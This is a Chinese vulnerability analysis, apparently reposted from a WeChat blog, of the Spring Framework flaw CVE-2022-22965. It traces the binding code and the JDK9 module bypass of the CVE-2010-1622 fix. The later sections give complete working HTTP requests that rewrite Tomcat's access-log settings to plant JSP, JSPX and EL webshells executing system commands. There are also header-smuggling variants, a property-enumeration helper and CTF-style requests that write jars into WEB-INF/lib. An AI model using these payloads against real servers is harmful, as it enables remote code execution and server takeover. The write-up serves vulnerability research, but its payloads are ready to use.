一、 CVE-2010-1622
spring的这个漏洞实际上是CVE-2010-1622的绕过,在绕过的同时结合了S2-020的利用方法。
环境可从docker中获取,
docker pull vulfocus/spring-core-rce-2022-03-29
要求,spring mvc+tomcat+jdk9+版本,这里我拉取了war包,用的tomcat8.5+jdk11。
存在漏洞的接口写法如下。
public String test(User user) {
return "ok";
}
class User {
private String username;
public String getUsername() {
return this.username;
}
public void setUsername(String username) {
this.username = username;
}
}
这种在MVC中称之为自定义对象类型参数绑定,如果传递username/Username,会自动调setUsername,属于比较常见的配置。
在CVE-2010-1622中,是利用如下payload做攻击的。
class.classLoader.delegate=false
class.classLoader.URLs[0]=jar:http://localhost/evil.jar!/
原理在于spring参数绑定时,调setter的底层原理。
我们在setUsername下断点,然后访问/ok?username=test,堆栈如下。
在BeanWrapperImpl(AbstractPropertyAccessor).setPropertyValues()中,
public void setPropertyValues(PropertyValues pvs, boolean ignoreUnknown, boolean ignoreInvalid)
throws BeansException {
List<PropertyAccessException> propertyAccessExceptions = null;
List<PropertyValue> propertyValues = (pvs instanceof MutablePropertyValues ?
((MutablePropertyValues) pvs).getPropertyValueList() : Arrays.asList(pvs.getPropertyValues()));
if (ignoreUnknown) {
this.suppressNotWritablePropertyException = true;
}
try {
for (PropertyValue pv : propertyValues) {
try {
setPropertyValue(pv);
}
轮循propertyValues去执行setPropertyValue(pv),这里propertyValues就是我们在http所有的传参。
然后跳过中间的直接来到BeanWrapperImpl(AbstractNestablePropertyAccessor).processLocalProperty(),只看第一行和最后一行。
private void processLocalProperty(PropertyTokenHolder tokens, PropertyValue pv) {
PropertyHandler ph = getLocalPropertyHandler(tokens.actualName);
...
ph.setValue(valueToApply);
}
获取了ph,用pd来设置值。ph有个属性pd,pd有个属性writeMethod,正是User.setUsername()。
因此,后面的BeanWrapperImpl$BeanPropertyHandler.setValue()就是从这里拿到setUsername,进行反射invoke。
public void setValue( Object value) throws Exception {
Method writeMethod = (this.pd instanceof GenericTypeAwarePropertyDescriptor ?
((GenericTypeAwarePropertyDescriptor) this.pd).getWriteMethodForActualAccess() :
this.pd.getWriteMethod());
if (System.getSecurityManager() != null) {
AccessController.doPrivileged((PrivilegedAction<Object>) () -> {
ReflectionUtils.makeAccessible(writeMethod);
return null;
});
try {
AccessController.doPrivileged((PrivilegedExceptionAction<Object>)
() -> writeMethod.invoke(getWrappedInstance(), value), acc);
}
catch (PrivilegedActionException ex) {
throw ex.getException();
}
}
else {
ReflectionUtils.makeAccessible(writeMethod);
writeMethod.invoke(getWrappedInstance(), value);
}
}
那么writeMethod在哪里获取的呢?就得去追踪ph的构造,我们重新在BeanWrapperImpl.getLocalPropertyHandler()下断点。
protected BeanPropertyHandler getLocalPropertyHandler(String propertyName) {
PropertyDescriptor pd = getCachedIntrospectionResults().getPropertyDescriptor(propertyName);
return (pd != null ? new BeanPropertyHandler(pd) : null);
}
跟进BeanWrapperImpl.getCachedIntrospectionResults()。
private CachedIntrospectionResults getCachedIntrospectionResults() {
if (this.cachedIntrospectionResults == null) {
this.cachedIntrospectionResults = CachedIntrospectionResults.forClass(getWrappedClass());
}
return this.cachedIntrospectionResults;
}
是在给cachedIntrospectionResults属性赋值,跟进getWrappedClass(),发现就是返回User类。
public final Object getWrappedInstance() {
Assert.state(this.wrappedObject != null, "No wrapped object");
return this.wrappedObject;
}
public final Class<?> getWrappedClass() {
return getWrappedInstance().getClass();
}
然后跟进CachedIntrospectionResults.forClass()。
static CachedIntrospectionResults forClass(Class<?> beanClass) throws BeansException {
CachedIntrospectionResults results = strongClassCache.get(beanClass);
if (results != null) {
return results;
}
如果是第一次运行(tomcat启动后第一次访问/ok),strongClassCache缓存为空,继续向下执行。
results = softClassCache.get(beanClass);
if (results != null) {
return results;
}
results = new CachedIntrospectionResults(beanClass);
跟进CachedIntrospectionResults(),在这里完成对writeMethod以及readMethod的注册。
private CachedIntrospectionResults(Class<?> beanClass) throws BeansException {
try {
if (logger.isTraceEnabled()) {
logger.trace("Getting BeanInfo for class [" + beanClass.getName() + "]");
}
this.beanInfo = getBeanInfo(beanClass);
if (logger.isTraceEnabled()) {
logger.trace("Caching PropertyDescriptors for class [" + beanClass.getName() + "]");
}
this.propertyDescriptors = new LinkedHashMap<>();
Set<String> readMethodNames = new HashSet<>();
// This call is slow so we do it once.
PropertyDescriptor[] pds = this.beanInfo.getPropertyDescriptors();
for (PropertyDescriptor pd : pds) {
if (Class.class == beanClass &&
("classLoader".equals(pd.getName()) || "protectionDomain".equals(pd.getName()))) {
// Ignore Class.getClassLoader() and getProtectionDomain() methods - nobody needs to bind to those
continue;
}
if (logger.isTraceEnabled()) {
logger.trace("Found bean property '" + pd.getName() + "'" +
(pd.getPropertyType() != null ? " of type [" + pd.getPropertyType().getName() + "]" : "") +
(pd.getPropertyEditorClass() != null ?
"; editor [" + pd.getPropertyEditorClass().getName() + "]" : ""));
}
pd = buildGenericTypeAwarePropertyDescriptor(beanClass, pd);
this.propertyDescriptors.put(pd.getName(), pd);
Method readMethod = pd.getReadMethod();
if (readMethod != null) {
readMethodNames.add(readMethod.getName());
}
}
而这里我们就会发现pds中存在两个pd,一个是class,一个是username。java中万物皆对象,User对象本身也可以执行getClass(),因此getClass也被算作了一个bean。
而且这里我们可以明显看得到当beanClass为Class.class时,不去注册classLoader bean的代码。这正是CVE-2010-1622的修复方案。
往后还有对父类的getter的注册,注册完后返回pd对象回到getLocalPropertyHandler(),跟进CachedIntrospectionResults.getPropertyDescriptor()
PropertyDescriptor getPropertyDescriptor(String name) {
PropertyDescriptor pd = this.propertyDescriptors.get(name);
if (pd == null && StringUtils.hasLength(name)) {
// Same lenient fallback checking as in Property...
pd = this.propertyDescriptors.get(StringUtils.uncapitalize(name));
if (pd == null) {
pd = this.propertyDescriptors.get(StringUtils.capitalize(name));
}
}
return pd;
}
propertyDescriptors中有两个KV,一个是class,一个是username这是我们知道的,这里取出了username对应的pd,然后还做了首字母大小写的兼容性。确保pd一定能取出。
pd取出之后就是后续的反射执行setter了。
那么如何执行getter呢。
使用CVE-2010-1622的payload去尝试,断点不变,看看代码有何变化。
class.classLoader.delegate=false
可以发现,在BeanWrapperImpl(AbstractNestablePropertyAccessor).setPropertyValue()中,由于取不到tokens,进入if分支执行了
BeanWrapperImpl(AbstractNestablePropertyAccessor).getPropertyAccessorForPropertyPath() 。
public void setPropertyValue(PropertyValue pv) throws BeansException {
PropertyTokenHolder tokens = (PropertyTokenHolder) pv.resolvedTokens;
if (tokens == null) {
String propertyName = pv.getName();
AbstractNestablePropertyAccessor nestedPa;
try {
nestedPa = getPropertyAccessorForPropertyPath(propertyName);
}
跟进后发现,是以点来分割,依次执行getter/setter。
protected AbstractNestablePropertyAccessor getPropertyAccessorForPropertyPath(String propertyPath) {
int pos = PropertyAccessorUtils.getFirstNestedPropertySeparatorIndex(propertyPath);
// Handle nested properties recursively.
if (pos > -1) {
String nestedProperty = propertyPath.substring(0, pos);
String nestedPath = propertyPath.substring(pos + 1);
AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);
return nestedPa.getPropertyAccessorForPropertyPath(nestedPath);
}
else {
return this;
}
}
判断点和结束在PropertyAccessorUtils.getFirstNestedPropertySeparatorIndex()中。如果能分离出一个getter,就会依次进入
BeanWrapperImpl(AbstractNestablePropertyAccessor).getNestedPropertyAccessor()
BeanWrapperImpl(AbstractNestablePropertyAccessor).getPropertyValue()
BeanWrapperImpl$BeanPropertyHandler.getValue()
最后反射执行getter。
public Object getValue() throws Exception {
Method readMethod = this.pd.getReadMethod();
if (System.getSecurityManager() != null) {
AccessController.doPrivileged((PrivilegedAction<Object>) () -> {
ReflectionUtils.makeAccessible(readMethod);
return null;
});
try {
return AccessController.doPrivileged((PrivilegedExceptionAction<Object>)
() -> readMethod.invoke(getWrappedInstance(), (Object[]) null), acc);
}
catch (PrivilegedActionException pae) {
throw pae.getException();
}
}
else {
ReflectionUtils.makeAccessible(readMethod);
return readMethod.invoke(getWrappedInstance(), (Object[]) null);
}
}
如果到了结尾,则返回this,在BeanWrapperImpl(AbstractNestablePropertyAccessor).setPropertyValue()向下有个if,是判断返回值是否为if的,是if就进入BeanWrapperImpl(AbstractPropertyAccessor).setPropertyValues(),即执行setter的部分。
if (nestedPa == this) {
pv.getOriginalPropertyValue().resolvedTokens = tokens;
}
nestedPa.setPropertyValue(tokens, pv);
}
至此,整个CVE-2010-1622漏洞的引发流程分析完毕,因为自定义对象类型参数绑定的特性,导致我们可以利用自定义User类的getClass().getClassLoader()这样一路利用getter以及最终的setter,进行符合条件的属性修改。
二、 CVE-2010-1622的绕过
这个漏洞发布的时候应该还没有jdk9,因此到了今天,有人发现jdk9的module特性可以绕过修复方案。
可以看到jdk9新增了module类,可以由getClass().getModule()获取,而它也存在getClassLoader()方法。至此我们又可以通过任意符合条件的属性了。
public Module getModule() {
return module;
}
public ClassLoader getClassLoader() {
SecurityManager sm = System.getSecurityManager();
if (sm != null) {
sm.checkPermission(SecurityConstants.GET_CLASSLOADER_PERMISSION);
}
return loader;
}
三、 S2-020
虽然绕过了补丁,但之前的利用setter都失效了,漏洞的发现者很显然从类似的漏洞中得到了灵感。S2-020正是一个同类型的漏洞,而且它有着改写tomcat日志属性的方法来getshell。
https://blog.csdn.net/god_7z1/article/details/24416717
因此很容易得出POC。
POST /ok? HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 323
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
可以看到日志路径被修改了。
这些属性同时也记录在tomcat的配置文件server.xml中。
但这样无法像apache一样利用url路径或者User-Agent写入webshell。
需要用到class.module.classLoader.resources.context.parent.pipeline.first.pattern属性。
这个属性可以用%{}i做变量来记录header,这个百分号和一般的webshell冲突了,我们可以用jspx webshell解决。
POST /ok? HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 628
class.module.classLoader.resources.context.parent.pipeline.first.pattern=<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page contentType="text/html" pageEncoding="UTF-8" /><jsp:scriptlet>Runtime.getRuntime().exec(request.getParameter("i"));</jsp:scriptlet></jsp:root>&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
但由于xml比较规范,测试和实战的时候很容易在前后夹杂脏数据导致失效。因此还可以用el表达式webshell。
POST /ok? HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 598
class.module.classLoader.resources.context.parent.pipeline.first.pattern=${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd.exe','/c','calc']).start()")}&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
还可以利用header来避免百分号冲突的问题,不过在header中双引号又被转义了,因此必须结合起来利用。
POST /ok? HTTP/1.1
Host: localhost:8080
first: <%Runtime.getRuntime().exec(
end: );%>
Content-Type: application/x-www-form-urlencoded
Content-Length: 426
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{first}i"calc"%25{end}i&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.directory=wtpwebapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
注意,由于tomcat记录日志的特性,在fileDateFormat变化的时候才会生成新的文件,所以如果写砸了一个webshell,修改fileDateFormat为其他数字即可。
四、 探索其他利用方法
在分析CVE-2010-1622时,我们知道了class.module.classLoader首字母可以大写。
在S2-020中,还有人提出了修改解析目录,这样约等于任意文件读取。
class.classLoader.resources.dirContext.docBase
但是实际测试无法成功,可能是tomcat版本问题。
我们可以参考S2-020的文章,写出所有可能修改的属性,我这里只保留了string的setter,实际上int和boolean的也可能有用。
public String test(User user) {
java.util.HashSet set = new java.util.HashSet<Object>();
String poc = "class.module.classLoader";
ClassLoader classLoader = user.getClass().getClassLoader();
try {
processClass(classLoader,set,poc);
} catch (IOException e) {
}
return "ok";
}
public void processClass(Object instance, java.util.HashSet set, String poc) throws java.io.IOException{
try {
Class<?> c = instance.getClass();
set.add(instance);
Method[] allMethods = c.getMethods();
for (Method m : allMethods) {
if (!m.getName().startsWith("set")) {
continue;
}
if (!m.toGenericString().startsWith("public")) {
continue;
}
Class<?>[] pType = m.getParameterTypes();
if(pType.length!=1) continue;
if(pType[0].getName().equals("java.lang.String")//||pType[0].getName().equals("boolean")||pType[0].getName().equals("int")
){
String fieldName = m.getName().substring(3,4).toLowerCase()+m.getName().substring(4);
System.out.println(poc+"."+fieldName );
}
}
for (Method m : allMethods) {
if (!m.getName().startsWith("get")) {
continue;
}
if (!m.toGenericString().startsWith("public")) {
continue;
}
Class<?>[] pType = m.getParameterTypes();
if(pType.length!=0) continue;
if(m.getReturnType() == Void.TYPE) continue;
Object o = m.invoke(instance);
if(o!=null)
{
if(set.contains(o)) continue;
processClass(o, set, poc+"."+m.getName().substring(3,4).toLowerCase()+m.getName().substring(4));
}
}
} catch (java.lang.IllegalAccessException x) {
} catch (java.lang.reflect.InvocationTargetException x) {
}
}
}
同时,在ClassLoader classLoader处下断点,可以在idea中检查哪些属性对我们可能有用。
五、 ctf的思路
在一次CTF中,限制了严苛的jsp webshell写入,导致只能用el表达式设置属性,造成了和此次漏洞几乎一样的环境。
https://mp.weixin.qq.com/s?__biz=MzIwMDk1MjMyMg==&mid=2247488297&idx=1&sn=cc3db8ffe79c0340215d24fbc6800f7d
POST /ok? HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 173
class.module.classLoader.resources.context.reloadable=true&class.module.classLoader.resources.context.parent.appBase=/
POST /ok? HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 340
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT/WEB-INF/lib&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
GET /conf/server.xml HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
不过很遗憾,由于要触发reload,还是要利用日志往WEB-INF/lib中写文件,而且破坏性更大。
该ctf还有利用SESSIONS.ser写webshell的办法,不过也需要触发reload写文件,使得该办法没有意义。
class.module.classLoader.resources.context.manager.pathname
原文始发于微信公众号(珂技知识分享):CVE-2022-22965分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论